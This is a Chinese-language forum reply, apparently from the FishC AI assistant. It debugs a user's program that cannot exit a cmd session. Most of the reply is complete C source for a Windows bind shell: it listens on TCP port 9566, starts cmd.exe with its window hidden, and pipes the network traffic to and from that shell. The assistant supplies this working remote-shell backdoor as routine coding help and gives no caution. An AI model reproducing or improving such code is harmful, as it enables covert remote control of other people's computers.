|
|
发表于 2025-2-23 20:28:44
|
显示全部楼层
进入虚拟机 CMD 之后无法退出,可能是因为没有正确处理标准输入或输出。确保以下几点:
1. 确保线程在读取管道和发送数据时正确处理。
2. 确保命令进程(如 cmd.exe)能够正常接收到退出命令并退出。
你可以考虑在代码中添加一些调试信息来进一步确认哪一步出现了问题。
为简洁起见,我不再重新贴代码,只针对几个关键点进行说明:
1. **确保正确发送退出命令:**
在发送退出命令时,确保命令发送正确。例如,在 InputThread 函数里,当检测到 recv 错误时发送 "exit\r\n" 命令。这部分代码看起来是正确的,但你可以再次确认退出命令成功发送到命名管道。
- WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
复制代码
2. **检查 CreateProcess 是否正确处理:**
如果新创建的 cmd.exe 进程没有正确处理输入输出,也会导致无法退出的问题。确保 STARTUPINFO 和 PROCESS_INFORMATION 设置正确并无误。
3. **监视进程退出:**
可以通过监控 cmd.exe 进程来确定其是否已退出。在 StartShell 函数中,使用 WaitForSingleObject 来等待进程退出。
- WaitForSingleObject(pi.hProcess, INFINITE);
复制代码
4. **清理资源:**
确保在进程退出后清理所有打开的句柄和资源,例如关闭 Socket,Pipe,终止线程等。
5. **调试信息:**
在关键位置添加调试信息,例如在发送退出命令前后以及在检测到进程关闭之后,查看过程是否按预期运行。
如果继续有问题,请详细提供更多信息,以便能更准确地帮助你。以下是一个示例,展示如何监视并清理资源:
- #include <windows.h>
- #include <stdio.h>
- #pragma comment(lib,"ws2_32.lib")
- BOOL bExit = FALSE;
- int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
- {
- if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
- return -1;
- return send(m_Sock, (char*)pBuf, dwBufLen, 0);
- }
- DWORD WINAPI InputThread(LPVOID lpParam)
- {
- CThreadNode InputNode = *(CThreadNode*)lpParam;
- char szBuffer[MAX_PATH];
- DWORD RecvByte, WriteByte;
- while (!bExit)
- {
- RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
- if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
- {
- WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
- }
- else
- {
- closesocket(InputNode.cSock);
- WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
- bExit = TRUE;
- break;
- }
- Sleep(50);
- }
- return TRUE;
- }
- DWORD WINAPI OutputThread(LPVOID lpParam)
- {
- CThreadNode OutPutThread = *(CThreadNode*)lpParam;
- DWORD ReadLen, dwTotalAvail;
- char szBuffer[MAX_PATH];
- BOOL bRet = FALSE;
- while (!bExit)
- {
- bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
- if (bRet && dwTotalAvail > 0)
- {
- bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
- if (bRet && ReadLen > 0)
- {
- SendData(OutPutThread.cSock, szBuffer, ReadLen);
- }
- ZeroMemory(szBuffer, MAX_PATH);
- Sleep(50);
- }
- }
- return true;
- }
- BOOL InitSocket()
- {
- int Ret = 0;
- WSADATA wsaData;
- Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
- if (Ret != 0)
- {
- MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
- return false;
- }
- return true;
- }
- BOOL StartShell(UINT uPort)
- {
- SOCKET ListeningSocket, ClientSocket;
- sockaddr_in ClientAddr;
- int ClientAddrLen;
- HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
- HANDLE hInputThread, hOutputThread;
- SECURITY_ATTRIBUTES sa;
- STARTUPINFO StartInfo;
- PROCESS_INFORMATION pi;
- CThreadNode ReadNode, WriteNode;
- if (!InitSocket())
- {
- MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
- return false;
- }
- ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (ListeningSocket == INVALID_SOCKET)
- {
- MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
- WSACleanup();
- return false;
- }
- sockaddr_in si = { 0 };
- si.sin_family = AF_INET;
- si.sin_port = htons(uPort);
- si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
- if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
- {
- MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- if (listen(ListeningSocket, 5) == SOCKET_ERROR)
- {
- MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- ClientAddrLen = sizeof(SOCKADDR_IN);
- ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
- if (ClientSocket == INVALID_SOCKET)
- {
- MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
- closesocket(ListeningSocket);
- WSACleanup();
- return false;
- }
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa.lpSecurityDescriptor = NULL;
- sa.bInheritHandle = TRUE;
- if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
- {
- WSACleanup();
- return false;
- }
- TCHAR szBuffer[MAX_PATH] = { 0 };
- GetSystemDirectory(szBuffer, MAX_PATH);
- lstrcat(szBuffer, TEXT("\\cmd.exe"));
- GetStartupInfo(&StartInfo);
- StartInfo.cb = sizeof(STARTUPINFO);
- StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- StartInfo.wShowWindow = SW_HIDE;
- StartInfo.hStdInput = hReadpipe1;
- StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;
- if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
- {
- MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
- WSACleanup();
- return false;
- }
- MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
- ReadNode.cSock = WriteNode.cSock = ClientSocket;
- ReadNode.handleNode = hWritepipe1;
- hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
- WriteNode.handleNode = hReadpipe2;
- hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);
- HANDLE hHandles[2] = { hInputThread, hOutputThread };
- WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- CloseHandle(hReadpipe1);
- CloseHandle(hWritepipe1);
- CloseHandle(hReadpipe2);
- CloseHandle(hWritepipe2);
- return true;
- }
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
- {
- StartShell(9566);
- return 0;
- }
复制代码
请根据需要调整代码,并确保在必要位置添加更多调试信息。如果还有其他问题,欢迎随时提出。
以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。 |
|